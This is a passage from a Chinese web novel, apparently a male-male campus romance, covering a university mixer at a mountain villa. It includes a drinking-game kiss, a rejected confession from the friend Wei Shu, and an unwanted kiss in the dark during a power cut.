可听到他的回答,陈悯之的眼睛却忽然亮了起来:“真的?” “你真的不喜欢男人?”少年凑到离他很近的地方,乌黑圆润的大眼睛一眨不眨、充满探究地望着他,好像在确定他说的是不是真的。 秦陌听到自己骤然加快的心跳声。 少年凑得太近了,比刚才他捏着他脸的时候都还要近,他几乎能闻到从少年身上传来的香气。 秦陌喉结微动,半晌,冷冷重复:“不喜欢。” 一直沉沉压在陈悯之心上的大石头,仿佛忽然间消失了,他整个人肉眼可见地开心起来。 他怎么就没想到,秦陌有可能压根就不喜欢男人呢?! 他之前光顾着分析作案的可行性,竟然连作案动机都忽略了。 ——秦陌根本就没有理由对他做那种事啊! 他们没仇没怨的,还是很好的兄弟,秦陌干嘛没事儿找事儿捉弄他?况且秦陌柜子里收集的内裤大多数都是女式的,这说明他的性.幻.想对象肯定也是女人,怎么可能去嗦他一个男人的那里呢。 这么简单的逻辑矛盾,他居然到现在才反应过来。 陈悯之脸上带着大彻大悟般的恍然,忽然伸手重重一拍秦陌的肩膀:“好兄弟!我错怪你了!” 秦陌:“ ” 他没有去问陈悯之错怪他什么了。 秦陌:“以后还躲吗?” 陈悯之脑袋摇得像拨浪鼓:“不躲了不躲了。” “诶等一下。”陈悯之脑子里忽然闪过一丝不对劲的感觉,“你为什么要问我喜不喜欢你啊?” 这个问题放在兄弟之间,不是很奇怪吗? 秦陌神色一僵。 但他反应非常快,面不改色地道:“通常来讲,两个相熟的人之间,一个人突然开始躲着另一个人,不是讨厌就是喜欢。” “哦哦。” 可陈悯之想了想又觉不解:“讨厌一个人我能理解,但喜欢是为什么啊?喜欢一个人,为什么还要躲着他呢?” “大概是因为害羞吧。”秦陌说。 “原来如此。”陈悯之摸着下巴,“有道理。” 并非如此。 秦陌在心里说。 处处闪躲,连自己的心都不敢面对,不是因为害羞,而是喜欢会让人自卑。 * 误会解除后,陈悯之成天乐呵呵的,又和秦陌做回了无话不说的好兄弟。 至于那个变态算了,反正他这么长时间都没再来找过他了,他一个男的,被另一个男的亲两下也不会少块儿肉,他就暂且不计较了。 主要是一点儿证据也没有,查也查不出来,还影响自己每天的心情,还不如和从前一样高高兴兴过呢。 这天,陈悯之哼着歌从外面回来,满脸都写着容光焕发,还有一点嗯清澈男大脸上特有的春.心萌动? 秦陌放下手中的书本,扶了扶镜框:“怎么了?心情这么好?” 陈悯之兴高采烈地回答:“这周五不是校庆放假吗?卫殊邀请我去和隔壁C大的联谊会,在一个山庄里面,唔好像叫什么静水山庄。” C大和A大只有一街之隔,而且是师范院校,里面美女如云,每年两个学校的学生都会举办几次联谊会,据说A大的不少光棍都是这么脱的单。 陈悯之:“你要不要跟我们一起去?” “不是有卫殊了吗。”秦陌冷冷道。 都跟卫殊亲密得“我们”了,还叫他做什么。 “有卫殊怎么了?”陈悯之不明所以,联谊又不限名额,又不是卫殊去了秦陌就不能去了。 不过他看着转过身去,明显不太感兴趣的男人,也没再问下去,依然很高兴地开始收拾自己的东西:“对了,我们明天去了之后是住在那边,这三天我都不回寝室。” 背对着他的男人没回答,也不知听没听到。 陈悯之在心底叹气。 不管了,兄弟爱打光棍是兄弟的事情,反正,他可不想大学四年都打光棍。 第28章 第 28 章 看门的恶狗。 28 第二天上午, 一行人乘大巴来到了静水山庄。 这座山庄很大,正中是一幢豪华的三层别墅,三面环山, 正前方有一道小河穿山而过, 风景十分惬意。 进门后,领头的人先给每个人分配房间, 有熟人的可以提出合住,没有特殊要求的则是随机分配。 卫殊提出想和陈悯之住一间,陈悯之反正也不认识别人,便答应了。 安顿完行李后,已经是中午了,大家把提前准备好的食材拿出来,在小河边架起烧烤架野炊。 领头的人拍了几下掌:“来来来, 大家围成一个圈坐, 趁着还没烤好,我们来做一下自我介绍。” 陈悯之在草坪上和卫殊坐成一块儿,凑近卫殊耳边小声说:“我有点紧张。” C大来的女生都好漂亮, 他还是第一次和这么多美女在一起玩儿, 总感觉手脚都不知道往哪儿摆了。 卫殊沉默一会儿, 对他说:“别怕,我会一直在你身边。” 陈悯之“哦”了一声, 又把屁.股往卫殊那般挪了挪, 才觉得心安了一些。 他像一只来到陌生环境中的小动物, 本能地靠近自己熟悉的人。 卫殊将他的动作看在眼里, 脸上浮现出一个浅浅的笑容,但陈悯之没有看见。 他的注意力全在站在场地中央的领头人身上。 领头人问:“谁先来?” “我先吧。”一个男生站起身,声音爽朗, “我叫李翰,A大生物医学系,大二,单身,平时喜欢打网球,健身,爬山,这次来希望能交到志同道合的朋友。” 他摸着脑袋停顿一下,“当然,女朋友更好。” 大家一时间都笑起来。 领头的也笑着说:“大家来参加联谊,应该大部分都是单身,后面可以不必单独介绍这一点,不过如果真有男女朋友的,需要单独说明。” “这样吧,为了不遗漏,我们就从李翰开始,顺时针按顺序自我介绍。对了,后面大家坐着介绍就好,不必拘束。” 第二个是一个女生,扎着高马尾,波浪卷的头发,笑容甜美:“我叫钟悦,大家可以叫我悦悦,C大学前教育学系,爱好唱歌,弹琴,看电影,还有给小朋友上课。” “还真是很符合你的专业,哈哈哈哈” 有了前两个人活跃气氛,后面大家很快便放开来。 只是,轮到陈悯之的时候,他依然紧张得掌心发汗,咽了好几次喉咙才开口:“我叫陈悯之,耳东陈,悲天悯人的悯,之乎者也的之。” “陈悯之,好特别的名字。”有人笑着开口,“听上去就是很温柔的人。” 陈悯之循着声音望去,发现说话的是最开始那个女生,她双手抱着膝盖,笑意盈盈地朝他望过来。 陈悯之脸霎时就红了:“谢谢,你的名字也很好听,钟情心悦,是很浪漫的名字。” 女生愣了下神。 她是最开始做介绍的,而陈悯之在顺时针的末尾,中间已经轮了几十个人,对方竟然还能清楚地记住她的名字是哪几个字,而且夸赞得恰到好处,真诚又有礼貌,既不显得虚假,也不显得逾越。 看上去,像是温柔体贴,很会为他人考虑的那种男生呢,钟悦想。 她愣神间,下一个人已经开口。 男人生得比寻常人高很多,即使坐着也比旁边的人高出一大截,身材健硕,眉目英挺,充满属于成年男性的荷尔蒙,看上去像是大多数女孩子会喜欢的类型。 只是,那声音却显得有些冷淡,话语也很简短:“卫殊,有喜欢的人。“ 场面一时间有些安静。 男人长相带着些凶戾,说话时也不太高兴的样子,此话是明摆着在告诉在场的人,他不是来交友的,和他保持距离。 有人见气氛有些沉闷,及时打趣道:“有喜欢的人还来参加联谊?不会你喜欢的人就在这里边儿吧?” 那人本只是随口一问,却没想到看上去不太好说话的男人,低着头“嗯”了一声。 声音不大,却足以让在场的人都听清楚。 “哇哦~~~”一群人顿时跟着起哄。 “搞半天我们是来相亲,人家是来这儿表白的啊!” “比不了比不了,我看今晚上就有人要脱单了,啧啧啧” 在场最惊讶的还是陈悯之,他扯了扯卫殊的袖子,小声问:“你什么时候有喜欢的人?我怎么不知道?” 卫殊看他一眼,又移开视线:“很早之前就有了。” 陈悯之心想,卫殊今年大三,比他早进A大两年,早就有喜欢的人倒也很正常。 怪不得非要把他一起拉来,原来是让他这个好兄弟来壮胆儿来了。 陈悯之瞄了一圈在场的女生们,八卦之心熊熊燃烧,又偷偷摸摸凑过去:“你喜欢的是谁啊?给我说说呗,我保证不告诉别人,嘿嘿。” 卫殊低下头,红着耳根道:“今晚就告诉你。” 陈悯之开心了:“真的?你可不许反悔。” 卫殊:“嗯。” 闹了这一阵,烧烤刚好烤熟,一群人三三两两地坐着吃起来。 卫殊把一堆滋香冒油的烤串一个劲儿地往陈悯之面前堆,边堆边问:“还想吃什么?我再去烤。” 陈悯之忙抓着他的手把他拉下来坐着:“够了够了,你别光顾着我,自己也吃啊。” 卫殊看一眼自己被少年握过的手,听话地在他旁边坐下来:“嗯。” 吃了一会儿,有人从不远处的烧烤堆朝他们走过来,弯下腰道:“你好,可以打扰一下你们吗?” 陈悯之抬头,见是之前那个夸他名字特别的女生,钟悦。 他忙把嘴里的烤肉咽下去,再扯了两张纸巾擦嘴,然后才红着脸说:“可以的,不打扰。” 丝毫没注意到他在做这系列动作时,旁边男人像是要冒冷气的一张脸。 钟悦冲他露出一个笑容:“今天晚上有互相交换礼物的环节,如果你还没有人交换的话,我想和你交换礼物,可以吗?” 陈悯之愣了一下,随即脸更红了,他张了张口,刚要说可以,却听身侧传来一道冷冰冰的声音:“他有交换礼物的人了。” 陈悯之:? 他还没来得及说自己没有,跟前的女孩子脸上就闪过失落的神色,对他笑了笑道:“那好吧,祝你们玩儿得愉快。” 钟悦转身回到了自己朋友身边。 朋友问:“怎么样?他答应了吗?” “答应什么啊?你没看他身边那个男的,跟条看门的恶狗一样寸步不离地守着他,我过去还没说什么,那男的脸上就凶得跟要吃人一样,不知道的还以为守着的是他老婆。“ 朋友思索片刻:“万一那真是他老婆呢?” 钟悦:“你是说” 两人同时吸了一口气。 “可惜了,另外找人交换礼物吧。” 另一头,陈悯之还在一头问号:??? 他的女朋友呢?他那么大一个准女朋友怎么就没了?! 陈悯之急得去抓卫殊的胳膊:“我什么时候有交换礼物的人了?我怎么不知道?” 卫殊声音闷闷的:“现在。” 陈悯之:“和谁?” 卫殊:“我。” 陈悯之一脸莫名其妙:“你在说什么啊,我们什么时候约定过要交换礼物了。” 交换礼物是为了促进陌生人双方的感情的啊,他跟卫殊都这么熟了,还交换什么礼物。 卫殊那双兽一般的深色瞳眸紧盯着他:“可是悯悯,我不想你和其他人交换礼物。” 陈悯之一怔:“为什么?” “因为我想要你的礼物。” 卫殊喉结滚了一下,刚才还凶神恶煞的男人,现在却又仿佛变得小心翼翼:“可以吗?悯悯?” 陈悯之懵了两秒钟,愣愣道:“可你不是有喜欢的人吗?你和我交换了礼物,拿什么送给她啊?” 卫殊噎了一下,目光朝一旁微微偏开:“这你不用管,总之,他他现在还不知道。” 陈悯之:“那好吧。” 虽然他的确是很想和那个女孩子交换礼物,但既然自己兄弟都开口说想要了,他陈悯之也不是重色轻友的人,就先给卫殊吧。 不过卫殊喜欢的人到底是谁啊?搞得这么神神秘秘的。 陈悯之愈发按耐不住自己的好奇心了。 卫殊说晚上他就知道了,难道他是要在晚上给那个女孩子表白?那他要不要帮帮忙什么的? 陈悯之这么想着,打开手机开始搜索:【好兄弟表白时怎么助攻比较好?】 他不知道,此刻背对着他坐的卫殊也在浏览:【教你表白不被拒绝的十个小妙招(含付费内容)】 * 同一时间,寝室里的秦陌盯着手机屏幕,用力攥紧了拳头。 屏幕上,是陈悯之发的九宫格朋友圈,前三张是山水风景照,中间三张是烧烤,然后是两张大合照和一张笑容明媚的自拍,配字:【认识了很多新朋友,开心~】 男人薄唇冷冷吐出几个字:“小骗子。” 骗他说什么期中考了要好好学习,结果转头就去山里和野男人幽会,还笑成那样,和卫殊在一起就那么开心? 还联谊会,卫殊那条狗对他什么心思简直是司马昭之心路人皆知,怎么可能那么好心邀请他去联谊会认识女朋友,也就陈悯之那个笨蛋会傻乎乎地一头扎进去。 秦陌指骨都捏得快碎掉,盯着少年的自拍咬牙切齿:“笨死算了。” 荒山野岭的,谁知道他们两个孤男寡男的会发生什么,万一遇到什么危险叫天天不应叫地地不灵,这傻子被人拖进山洞里扒光衣服吃了都没人来救他。 不行,他还是得去看看。 第29章 第 29 章 怎么给他亲爽了。 29 吃过晚饭, 便到了交换礼物的环节。 领头人将所有人聚集起来,拍了拍手:“为了保证在场的每个人都能收到礼物,大家只能一对一地交换哦, 也就是说, 每个人只能收一份礼物,收到了一份就不能再收第二份, 并且,自己的那一份也必须要给送自己礼物的那个人,大家听明白了吗?” “明白了!” “那我们就开始吧!” 人群四散分开,各自去拿自己准备的礼物。 卫殊紧紧跟在陈悯之后面,眉眼警惕,像条护食的大型犬,警戒着任何有可能上前来给陈悯之送礼物的人。 中途还真有人拿着礼物朝他们走过来, 看上去是想送给陈悯之的, 毕竟卫殊白天明确说过自己有喜欢的人,但还没走近就被男人凶恶的眼神吓退了。 只有走在前面的少年毫无所觉。 陈悯之拿出一个白色的礼盒,递给卫殊, 挠了挠头道:“原本是按照女孩子的喜好买的, 不知道你喜不喜欢。” 卫殊毫不犹豫地说:“喜欢。” 陈悯之疑惑:“可你都还没拆开看呢” 卫殊:“只要是你送的, 我都喜欢。” 拆开礼盒,里面是一条纯白色的羊绒围巾, 因为原本是和陌生人交换礼物, 陈悯之不知道对方的喜欢, 便买了大部分人都能接受的简约款, 上面什么花纹都没有,只有尾部缝着一个金属logo,给男生戴的话应该也不违和。 陈悯之这么想着, 对卫殊道:“戴上试试?” “嗯。” 可当真的给卫殊戴上围巾,陈悯之才发觉问题出在哪里。 卫殊肤色本就偏深,平时他穿着深色衣物时不觉得,但现在戴上白色围巾,显得整个人更黑了,只有那双深褐色的眼睛炯炯发亮,像是黑暗中的一双兽眸,紧紧盯着他。 男人声线沙哑:“悯悯,我很喜欢。” 羊绒围巾触感细腻,围在脖子上就像围了一团云,温暖又柔软,就像送礼物的人带给他的感觉一样。 卫殊手掌抚着脖子上的围巾,胸口仿佛揣了一块炭,让他从里到外都在发烫。 他不是没有收到过陈悯之的礼物,但上一次陈悯之送给他的领带,另外三个人也有,而这一条围巾却是他所独有的。 而他想要独占的,远不止这一条围巾。 陈悯之笑起来:“喜欢就好,最近天气凉了,你出门上课的时候正好戴上。” 卫殊用力点头:“我会每天都戴的。” 片刻后他才似想起什么,忙从怀里摸出一个小盒子,递给陈悯之说:“给你的。” 陈悯之看着那个小盒子,猜想里面应该是送给女孩子的耳钉项链之类的,但他没想到,打开盒子后,看到的竟然是一枚戒指。 戒指呈银色,款式低调大方,却又不失奢华,整个戒身都镶嵌着银色的碎钻,看上去是男女都能戴的款式。 奇异的是,陈悯之试戴了一下,发现尺寸竟然刚好合适。 哦,可能是卫殊喜欢的那个女生手比较大吧。 卫殊看他低头摆弄戒指,神色一会儿奇怪一会儿恍然的,也摸不清到底什么想法,有些紧张地开口:“喜欢吗?” 陈悯之点点头:“挺好看的,不过” 卫殊一颗心提到嗓子眼,生怕他说什么不要之类的话,神色紧绷地问:“不过什么?” 陈悯之四下观望一眼,凑到他耳边小声问:“不过你喜欢的人到底是谁啊?你说好今晚就告诉我的。” 少年呼出的热气喷在耳根,让那块儿原本就偏深的皮肤变得更红了,红得发黑。 卫殊摸了摸快要烧起来的耳朵,低声道:“嗯,一会儿就告诉你。” 二人紧挨着喁喁低语,从某个角度看过去就像是在亲密地咬耳朵一般,男人身形高大,小麦色皮肤裹着虬结的肌肉,而他身侧的少年比他低了一个头,身材纤瘦匀称,皮肤雪白漂亮,与男人形成及其明显的反差。 看上倒是登对。 光线昏惑处,一双阴暗窥伺的眼睛盯得发红,像是要滴出血来。 * 交换完礼物,一群人坐在一起玩儿少爷牌。 少爷牌是一种酒桌游戏,以一副扑克牌做工具,里面不同的牌代表不同的技能,比如抽到A的人可以指定在场的任一一人喝酒,抽到4号牌的人可以随机随时使用摸鼻子技能,一旦他摸鼻子,其他人也必须跟着做同样的动作,全场最后一个摸鼻子的人就算输家,罚酒一杯,每张牌的功能各有不同,但都大同小异。 比较特殊的一张牌是2号牌,抽到这张牌的人获得“少爷”身份,在场的任意一人喝酒,“少爷”都必须跟着喝,喝多少由少爷陪酒的“客人”决定,直到下一个人抽到“少爷”,身份才会被替换。 为了增加可玩性,组织者还准备了另外一副真心话大冒险牌,提议将这幅牌加入惩罚机制,游戏中需要罚酒一杯的人,可以自行选择真心话大冒险或者罚酒,如果不想喝酒,就要从真心话大冒险中抽一张牌完成。 大家都是来联谊的,对于这种能够拉近距离的“惩罚”自然没有异议,至于少数社恐,只罚酒不玩牌就可以了。 陈悯之在脑子里东想西想,一会儿他要是被罚酒了,是选喝酒还是真心话大冒险?选真心话的话,会不会抽到一些奇怪的问题?他记得高中时和班里同学玩过,他抽到一张牌,上来就问他是不是处男,害他脸红了好久。 正想着些有的没的,轮到他摸牌了,陈悯之随手一摸,定睛一看,赫然是一张鲜艳的红桃2。 有人笑嘻嘻道:“哇哦~看来今天晚上的‘少爷’有着落了。” 陈悯之挠挠脑袋,他也没想到自己手气竟然这么“好”。 卫殊皱了皱眉:“我跟你换。” 说着就去拿陈悯之手中的牌。 但立刻就有人拦住他:“诶诶诶,这游戏可不兴作弊啊。” “就是,不遵守规则还玩儿什么。” 陈悯之原本也没有让卫殊替自己的意思,忙对卫殊道:“没关系,我酒量还不错的。” 卫殊:“那我一会儿帮你喝。” 一道声音笑唧唧地说:“放心吧社长,我们不会太为难他的。” 说这话的是一个男生,是卫殊所在的篮球社的一名成员,他笑着望向挨着坐的两人,目光似有深意。 一个外校的男生调侃道:“你这么护着他,不知道的还以为他是你老婆。” 听到这话,陈悯之脸一热,更不让卫殊替自己了,他推了推卫殊:“你不要帮我了,玩游戏就是要遵守规则的。” 卫殊看陈悯之坚持,最终还是作罢,只道:“喝不下去就停,不要勉强。” 陈悯之点点头:“我知道。” 所幸大家都是很好的人,游戏开始后,还真没人为难陈悯之,每次陪着罚酒都只让他喝一口,但奈不住次数多,几轮下来,陈悯之脸已经开始发热了,肚子也有些涨。 再一次轮到他的时候,他实在有些喝不下了,于是选择了抽取真心话大冒险牌。 真心话和大冒险牌是混在一起的,不能选择,陈悯之搓了搓手,祈祷自己抽中的牌不要太奇怪。 然而他抽中的牌是——【选择在场的一个人接吻三秒钟】。 陈悯之瞪大眼睛,这是什么鬼运气! 怎么刚才卫殊抽中的牌就是做二十个俯卧撑,他抽中的就是找人接吻啊! “接吻!接吻!”在场每个人都喝了酒,酒精刺激下,大家都放得很开,当下便拍着掌起哄。 “上面只说找人接吻,没说跟男的还是女的,你实在找不到女生,找男生也是一样的嘛,哈哈哈哈”说话的是那个篮球社的社员,他目光瞥了眼旁边坐着的卫殊,意有所指。 陈悯之攥着衣角,神色又羞又尴尬。 找女生自然是不行的,太冒犯人家女孩子了,找男生的话在场他熟悉的只有卫殊一个人。 陈悯之咬着嘴唇半晌,最终还是转向卫殊,小声问:“那个你介意吗?” 大家都是兄弟,卫殊应该会帮他这个忙的吧? 卫殊看着他,眸光很烫。 男人凸起的喉结滚动一下:“不介意。” 尽管得到了不介意的回答,陈悯之还是羞赧地恨不得把脑袋埋进沙子里,他深吸一口气,逃避似的闭上眼睛,将嘴唇慢慢凑向卫殊。 殊不知,这幅情景落在男人眼中又是另一幅模样。 少年五官生得柔软,线条柔和,找不到一丝棱角,带着一种纯真又钝态的可爱,又喝了酒,双颊堆满红晕,像世间最美丽的晚霞被画在了他脸上,更别提他手上还戴着男人给的戒指 看起来就像是婚礼上,闭着眼睛,睫毛颤颤,娇羞地等待丈夫亲吻的新娘。 想到这一点,卫殊胸口烧得滚烫,仿佛有什么再也压制不住的东西要喷薄而出。 陈悯之原本想的只是浅浅地碰一下嘴唇,挨够三秒钟就可以了,却没想到在他嘴唇与卫殊向碰的那一刻,男人立刻反客为主,大掌搂住了他的腰,一手扣住他的后脑,深深地吻了下去。 属于男人的热烫气息侵入进来,连反应时间都没给他,陈悯之就已经被人撬开唇齿,缠住了舌.头,男人粗大的舌.头牢牢绞着他的,不让他逃脱,只能被动着承受。 这是一种近乎粗暴、凶蛮的吻法,就像是已经压抑了太久,陡然间爆发的火山一样,如同带着毁天灭地的攻势向他袭来。 “唔、卫——” 男人的力气太大,陈悯之嘴巴都被亲麻了,本能地想要推拒,却连话都没说出来就又被堵住了唇齿。 卫殊粗粝的舌.头在他口中肆虐,宛若一条八百年没闻过肉味儿的狗,他嘴里的哪个犄角旮旯男人都要伸舌.头过去尝一尝,尝完了还要用牙齿咬一下,就跟狗狗在自己地盘上打标记一样。 对方的唇舌温度比他高上许多,像是一块热烫的火炭,在他唇齿间处处留下燎烤的痕迹,陈悯之承受不了这样猛烈的攻势,一个劲儿地缩着舌.头往后躲,可他越躲,卫殊就亲得越起劲儿似的,他躲到多深,男人的舌.头就亲到多深,最后反倒像是他在主动勾着男人进到深处一样。 “呜”陈悯之被亲的嘴巴合不拢,亮晶晶的水液顺着唇角流下来,又被人一滴不剩得舔干净。 男人凸起的喉结上下滚动,把他嘴里的水全都吃下去了,喉间发出沉闷的吞咽声,像在吃什么很香甜的东西一样。 周围的人一个个瞪大眼睛,全都看得目瞪口呆。 有人直愣愣地开口:“不是,他们也太认真了吧,怎么亲成这样?” “不是只用亲三秒吗,他们亲了有一分钟了吧?” “爱情片里面的男女主都没这么亲的,给我看热了都。” 有人注意到卫殊不断吞咽的喉结,疑惑道:“是我看错了吗?我怎么觉得都给他亲爽了” 陈悯之喝了酒,脑子本就有些发晕,卫殊又亲得凶,一口气都不带喘的,把他都快亲到缺氧了,脑子就更晕了,但他晕乎乎的脑子听到周围的人说什么“三秒”、“一分钟”的字眼,还是迟钝地反应过来什么。 他伸手去推身上的男人:“够、够了,唔已经过了三秒了” 可抱着他的体育生一身硬.邦.邦的肌肉,就跟一堵铜墙铁壁似的根本推不动,还抱着他越亲越起劲儿,像条抱着肉骨头就不松手的大狗。 陈悯之脾气再好,也终于被亲得有些生气了,他陡然爆发出一股力气,将压着自己的男人掀开:“我说够了!” 推开挡在前面的卫殊,陈悯之在注意到,现在所有人都在看着他,气氛安静得有些不寻常。 满室寂静中,有人小心翼翼开口:“我问一句,你们真的只是朋友吗?没有别的什么关系?” 一开始调侃的那个外校男生更是呆愣地看了眼陈悯之,又看了眼卫殊,道:“对不住啊大兄弟,我没想到这真是你老婆。” “那个,中午自我介绍的时候,卫殊不是说他有喜欢的人吗?不会就是”那人没有说下去,眼神却不偏不倚地看着陈悯之。 可陈悯之没有回答他们,他只觉得脸烫得厉害,脑子里一团乱麻,心中却又涌起一股难以言说的委屈。 “我、我有点不舒服 ,先去趟洗手间。”陈悯之丢下这句话,绕开卫殊,从人堆中慌不择路地逃走了。 “悯悯!”卫殊脸色一变,当即追了出去。 第30章 第 30 章 “悯悯,我喜欢你。”…… 30 陈悯之并没有去卫生间, 而是一个人来到了二楼的小阳台上。 夜晚的凉风拂过,让他脸颊滚烫的热度下降了些许,脑子也清醒了。 卫殊卫殊为什么要那样亲他? 他们不是好朋友吗? 好奇怪 也许也许卫殊只是觉得他的嘴巴亲起来比较舒服, 所以多亲了一会儿 连陈悯之自己都没意识到, 他在下意识地逃避现实,他不愿意面对一些东西, 所以大脑不由自主地为男人奇怪的举动寻找理由。 可现实显然容不得他逃避,卫殊站在阳台的入户窗处,声音低哑地叫他:“悯悯。” 小阳台上没有灯,月光落在男人英俊深刻的轮廓上,将那轮廓模糊得看不分明,只有那双眼睛,依然如兽一般地灼烫, 如有实质地沉沉落在他身上。 见他半天没说话, 卫殊抬腿想要朝他走过去,可陈悯之见状立刻向后退了一步:“别过来。” 男人身形僵了一下,停在原地不动了。 陈悯之望着他, 神色惶然:“你、你可以解释的吧?我听你解释。” 只要卫殊能够给他一个理由, 随便什么理由, 无论多么荒谬他都会信。 可卫殊只是目光灼灼地望着他,说:“没有解释, 就是你看到的那样。” “悯悯, 我喜欢你。” 陈悯之瞪大了眼睛, 几乎不敢相信自己所听到的。 他喃喃道:“什么?” 卫殊上前一步, 一字一句地重复道:“我喜欢你,从小就喜欢,从我见到你的第一眼就喜欢。” 陈悯之睁着一双乌黑的眼睛, 圆圆的眼睛里满是茫然,他不知所措地摇着头:“可是,可是我们不是好兄弟吗?” 之前他和卫殊说要做一辈子的好兄弟,卫殊还答应了的啊。 卫殊喉结一滚:“悯悯,我从来没有把你当成兄弟。” “无论是小时候第一次见到你,还是后来和你在大学重逢,我看见你的时候,脑子里想的都是把你娶回家当老婆。” 这一句句话就像是从天而降的一道道惊雷,把陈悯之劈得外焦里嫩,他傻愣愣地呆在原地,一句话也说不出来。 原来这么久以来,都是他把兄弟当兄弟,兄弟把他当老婆。 卫殊见他没有再后退,便又靠近了一步,低下头看他:“我其实很早就想告诉你了,但又怕你不喜欢我,会讨厌我。” “可后来我发现,你你对我很好,你给我送吃的,送礼物,关心我,包容我的过失,刚才你还愿意主动吻我” 陈悯之瞪圆了眼睛,下巴都快掉下来。 这都是什么跟什么啊? 他那是以为卫殊家境困难才给他送吃的送礼物的! “刚才是我太唐突了,你主动吻我,我一时情难自已才对不起。”卫殊眸光牢牢锁住他,眼含希冀地问,“可是悯悯,你是不是,至少有那么一点,是喜欢我的?” 可陈悯之只是目光茫然又不解地看着他:“你误会了。” “我对你好,关心你,是因为我把你当兄弟,我对你从来没有那方面的想法。” 陈悯之咬了咬牙,尽管知道接下来的话会伤害卫殊,却不得不说。 尽管他从小到大从来没因为桃花运而烦恼过,因为根本就没人跟他表白,却也明白当断不断反受其乱的道理。 这种事情,早点说明白,对大家都好。 于是陈悯之取下手上的戒指,塞进男人手心里:“卫殊,你很好,但我不喜欢你,也不喜欢男人。你的礼物,还是留着以后送给喜欢你的人吧。” “那个我今晚会找人换个房间,就不和你一起睡了。” 看上去哪里都很柔软的少年,此刻却像一个世界上最心硬的人,丢下阳台上神色僵硬的男人,头也不回地走了出去。 * 陈悯之找了一个住单人房的男生,给他转了五百块钱,对方当即爽快地同意和他换房间。 男生问:“今晚就换?” 陈悯之点点头:“现在就换。” 男生这时仔细打量他两眼,想起来什么,微微睁大眼睛道:“你就是刚才抽到接吻牌的那个” 不过见陈悯之脸色不太好,他便讪讪闭了嘴。 怎么突然要换房间呢,该不会是小情侣吵架了吧?男生心想。 不过他才懒得管那么多,总归白赚五百,何乐而不为呢。 不过他没想到,他收拾好行李搬到陈悯之房间时,面对的是男人一张阴沉得要吃人的脸。 卫殊看着陈悯之空荡荡的床铺和消失的行李,显然也已经猜到发生了什么,盯着进来的男生:“出去。” 男生收了钱,心里充满底气,倒也没被他这幅凶神恶煞的模样震住,道:“你们小夫妻吵架,总不能殃及外人吧?你老婆给了我五百让我换房间,他现在睡我房间了,你再把我赶出去,我今晚睡哪儿?况且你们这是双床房,又不是睡不下” 话音未落,便听卫殊冷冷道:“我给你一万,你出去睡沙发。” 男生:“好的老板,小的现在就搬。” 收完转账,他提着行李颠颠儿走到门口,又主动折回来问:“您还有什么吩咐吗,需要我帮你在老板娘面前美言几句吗?这是赠送服务,不加钱。” “不用了。” 他现在应该不太想听到自己的名字,卫殊心情低落地想。 “好嘞老板。” 男生转身要走,却又听卫殊道:“等等!” 男生立刻恭敬转身:“老板还有什么要我做的?” 卫殊:“你住哪间房?” 男生:“310,走廊尽头那一间。” 卫殊点头:“你走吧。” 室内重归寂静后,卫殊靠着墙,高大身躯忽然如山一般垮塌下来。 他抬起手,捂住了自己的脸。 他想,他搞砸了,他把一切都搞砸了。 小公主再也不会牵他的手了。 * 另一边。 陈悯之洗完澡,趴在床上玩儿手机。 其实玩儿也玩儿不太进去,只是他现在脑子里依然乱糟糟的,飘荡的全是今天发生的那个吻,还有卫殊刚才对他说的那些话,他需要靠一些别的东西来转移注意力,好让自己不要总是去想那些事情。 就在这时,头顶的灯突然熄灭了,四下陷入一片漆黑。 陈悯之一愣。 停电了吗? 因为是在山里,没有城市的光污染,一旦没了灯光屋子里简直黑得伸手不见五指,他只好打开手机的手电筒,推门出去查看情况。 陈悯之走出去,试了试客厅里的灯,摁不亮,再站在楼梯口往下看,发现下面也是一片漆黑。 那应该就是停电了吧。 现在才十点,对年轻人来说是夜生活刚刚开始的时间,大部分人都还在一楼继续喝酒玩儿游戏,没什么人上二三楼睡觉,只有一个女生开门出来问他这是怎么了,得知是停电后,便回了自己房间。 陈悯之打着手电筒打算下楼,看看有没有什么能帮忙的,可没走两步,忽然被一股大力拖到黑暗处,整个人被抵在墙上,手电筒掉落在地,来自黑暗中的吻凶狠地覆在了他的唇上。 男人含着他的唇瓣吸吮绞缠,和不久前的那个吻一样的凶蛮,像是要把他吃下去一样。 “唔——”陈悯之这次却不再乖顺地承受,而是拼了命地抗拒着,伸手去推人,“放开、卫殊你放开我唔——” 亲吻他的人动作短暂停顿一下,随即却吻得更凶,仿佛被激怒了一般。 陈悯之扭着脑袋不让人亲,嘴里的话被堵得断断续续:“唔、不要再这样,我都说了我不喜欢你了,你听见没有?!” 如果陈悯之今晚没喝那么多酒,就能察觉出这个吻与卫殊的吻之间的不同,但他喝多了,大脑又刚刚遭受了太多冲击,本就不是很清醒,对事物的判断力自然也下降了。 他先入为主地认为是卫殊,心里便只想着要逃走,发现怎么都挣脱不开,大脑不知怎么下达的指令,抬手就给了跟前的男人一巴掌。 男人松开了他。 陈悯之气得胸膛急剧起伏,两眼通红,像只被逼急了的兔子。 他性格向来温和,从小到大都是同学们口中的老好人,这还是他第一次扇人巴掌。 扇完了,又觉得有些过意不去似的,明明黑暗中也看不清男人的脸,他还是对着人小声道:“我、我不是故意的。” 男人没回答。 陈悯之又觉得委屈起来,他都和卫殊说得那么明白了,卫殊怎么还来亲他,他要是不来纠缠,他也不会扇他了。 他一张脸烫得厉害,又生怕再被拉回去亲,连掉在地上的手机都顾不上捡,摸黑跑下了楼梯。 下楼后,陈悯之才得知是电线烧断了。 有人奇怪地问:“好好的怎么会烧断呢?” “可能是短路了吧。” “唉,只能等明天找师傅来修了。” “柜子里有备用蜡烛和打火机,大家一人拿一根吧。” 停电了没办法再玩游戏,一群人便散了,拿了蜡烛各回各屋。 陈悯之反正已经洗完澡,就没拿蜡烛,打算直接上楼睡觉,却在楼梯口被人拉住了手腕。 卫殊手里捧着一盏烛台,上面是一根点燃的蜡烛,递给陈悯之:“悯悯,给你,楼上黑。” 黑暗中,他捧着燃烧的烛火,小心翼翼地递出来,像是捧出一颗炙热滚烫的心。 可陈悯之没有接住这颗心。 他说:“我不要。” 卫殊看着他,半晌,缓缓将手收了回去。 男人站在台阶下面,明明身高比他高许多,此刻却因为站位的缘故比他低了一个头,显得气势都弱下去不少,没了先前的凶戾与野蛮,脑袋垂着,被烛火映照着的脸庞上神情低落,像一只被配偶抛弃的兽。 卫殊咽了咽喉咙,声音干涩:“悯悯,我向你道歉。” 他不道歉还好,一道歉陈悯之更气了,哪儿有这样亲完了就跑来道歉的!知道有些做法是错的,那么从一开始就不该做! 